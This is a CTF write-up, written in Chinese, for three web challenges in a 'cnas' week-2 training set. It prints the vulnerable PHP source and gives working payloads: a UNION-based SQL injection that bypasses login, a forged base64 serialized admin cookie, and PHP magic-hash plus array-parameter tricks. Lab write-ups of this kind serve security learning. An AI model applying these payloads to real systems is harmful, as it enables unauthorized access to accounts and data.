week 2 for cnas writeup

点击阅读全文

火星文 50

题目链接

http://47.100.121.220:28001/

解答

看到题目就判断为javascript的题目,把火星人A和火星人B的内容复制粘贴到控制台

A跑出来是一串密文,B跑出来是一个解密脚本

用户登录 100

题目链接

http://47.100.121.220:28002/

基本知识

mysql_query() 函数

mysql_query() 函数执行一条 MySQL 查询。

1
mysql_query(query,connection)
参数 描述
query 必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

mysql_fetch_array() 函数

mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

1
mysql_fetch_array(data,array_type)
参数 描述
data 可选。规定要使用的数据指针。该数据指针是 mysql_query() 函数产生的结果。
array_type 可选。规定返回哪种结果。可能的值:MYSQL_ASSOC - 关联数组 MYSQL_NUM - 数字数组 MYSQL_BOTH - 默认。同时产生关联和数字数组

strcasecmp() 函数

strcasecmp() 函数比较两个字符串。

1
strcasecmp(string1,string2)
参数 描述
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。

以上是本题涉及到的几个函数。

解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include "config.php";
include "flag.php";
show_source(__FILE__);
if( isset($_POST["user"]) && isset($_POST["pass"])) {
$user = $_POST["user"];
$pass = md5($_POST["pass"]);
$auth = false;
$conn = mysql_connect($db_host, $db_user, $db_pass) or die("Unable to connect!");
mysql_select_db($db_name) or die("Unable to select database!");
$sql = "select password from user where user='$user'";
$query = mysql_query($sql);
if(!$query) {
mysql_close($conn);
die("login failed!");
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if($row["password"] && !strcasecmp($pass,$row["password"])) {
$auth = true;
}
mysql_close($conn);
if($auth) {
echo "login success!";
echo $flag;
}
else {
die("login failed!");
}
}
?>
1
$sql = "select password from user where user='$user'

是存在SQL注入的,但是用户名和密码是分开判断。所以普通的万能密码是不行的。

\$row[“password”]的值是从$sql提取出来的,
然后经过

1
$row["password"] && !strcasecmp($pass,$row["password"])

进行密码判断。

我们可以构造如下payload

1
'AND 0=1 UNION SELECT md(1) #

拼接到\$sql

1
$sql = "select password from user where user=''AND 0=1 UNION SELECT md5(1) #"

  1. 最前面的单引号:闭合原文的where user=’
  2. AND 0=1:为了使前面的表达式返回值为空.
  3. 接着我们使用UNION SELECT MD5(1),直接把MD5值作为返回值returned给\$sql,这样在查询的时候\$query就会有值.
  4. 最后的#用来注释掉后面没用的东西

因此

1
2
username:' and 0=1 union select md5(1)#
password:1

You have no permissions 150

题目链接

http://47.100.121.220:28003/03.php

基础知识

implode() 函数

implode() 函数返回由数组元素组合成的字符串。

1
implode(separator,array)
参数 描述
separator 可选。规定数组元素之间放置的内容。默认是 “”(空字符串)。
array 必需。要组合为字符串的数组。

解答

这个题目是绕了一点弯的,周六我做这个题是一点思路没有的

今天重新看了这个题,数据包里只有一个role的cookies。

经过一顿操作,发现这个是base64加密的,解密得到s:5:”guest”;

s:5:”guest”,看起来像一个序列化后的数据,这里我们把guest改成admin试试,admin的长度也是5

得到了czo1OiJhZG1pbiI7,替换cookie传入,进入终于有权限了。得到一份源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$role = "guest";
$flag = "flag{xxxxxx}";
$auth = false;
if(isset($_COOKIE["role"])) {
if("admin"===unserialize(base64_decode($_COOKIE["role"])))
{
$auth = true;
echo "Hello admin, now you can upload something you are easy to forget.</br>";
echo "there are ther source.</br>";
if(isset($_POST["key1"])) {
$key1 = $_POST["key1"];
$md51 = @md5($key1);
$md52 = @md5('s155964671a');
if('s155964671a'!=$key1 && $md51==$md52) {
if(isset($_POST["data"])) {
$data = $_POST["data"];
$b1 = preg_match('/[<>?]/',$data); //0
$s = implode("",$data);
$b2 = preg_match('/[<>?]/',$s); //1
if(!$b1 && $b2 ) die($flag);
}
}
}
$myfile = fopen("03.php", "r") or die("Unable to open file!");
$text = fread($myfile,filesize("03.php"));
fclose($myfile);
$text = str_replace("xxxxxx","xxxxxx",$text);
echo '<textarea rows="10" cols="40" style="resize:none" >';
echo $text;
}
}
if(!$auth) {
setcookie("role","czo1OiJndWVzdCI7");
echo "Sory.You have no permissions.";
}
?>

分析代码,先看MD5这一块

1
2
3
4
5
if(isset($_POST["key1"])) {
$key1 = $_POST["key1"];
$md51 = @md5($key1);
$md52 = @md5('s155964671a');
if('s155964671a'!=$key1 && $md51==$md52)

这里是利用PHP语言的弱类型特征:

  • 1)将s155964671a进行MD5加密,密文为0e342768416822451524974117254469,发现密文为0e开头,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法。
  • 2)因为0exx都等于0,所以让两者相等我们只需再找到一个MD5加密后开头为0e的字符串即可
  • 3)相关字符串:
1
2
md5('s878926199a')=0e545993274517709034328855841020
md5('QNKCDZO')=0e342768416822451524974117254469

这里我们就可以构造一个key变量,key的传入值为QNKCDZO或者s878926199a

继续看后面的代码,

1
2
3
4
5
6
7
if(isset($_POST["data"])) {
$data = $_POST["data"];
$b1 = preg_match('/[<>?]/',$data); //0
$s = implode("",$data);
$b2 = preg_match('/[<>?]/',$s); //1
if(!$b1 && $b2 ) die($flag);

impode函数是把数组的元素组成字符串的,如注释\$b1需要返回0,\$b2需要返回1.

简单的做了个测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$data = array("/[<>?]/");
if($item = preg_match("/[<>?]/",$data)){
echo '1<hr />';
}else {
echo '0<hr />';
}
$s = implode("",$data);
echo $s ;
echo '<hr />';
if($b2 = preg_match('/[<>?]/',$s))
{
echo '1<hr />';
}else {
echo '0<hr />';
}
?>

可以看出来,传入一个[<>?]是可以直接得到我们想要的返回值的。但是直接传data=[<>?]是不行的

这里我们可以这样传入 data[]=[<>?] 当做一个数组传入,符合了代码的意思

再做一个简单的测试

1
2
3
4
5
<?php
var_dump( $_POST["a"]);
echo '<br>';
print_r( $_POST["a"]);
?>

这里我们可以看出我们这样传参就是传入了一个数组了。

最后的payload就是

1
2
3
4
Cookie: role=czo1OiJhZG1pbiI7
POST:
key1=s878926199a&data[]=[<>?]

得到flag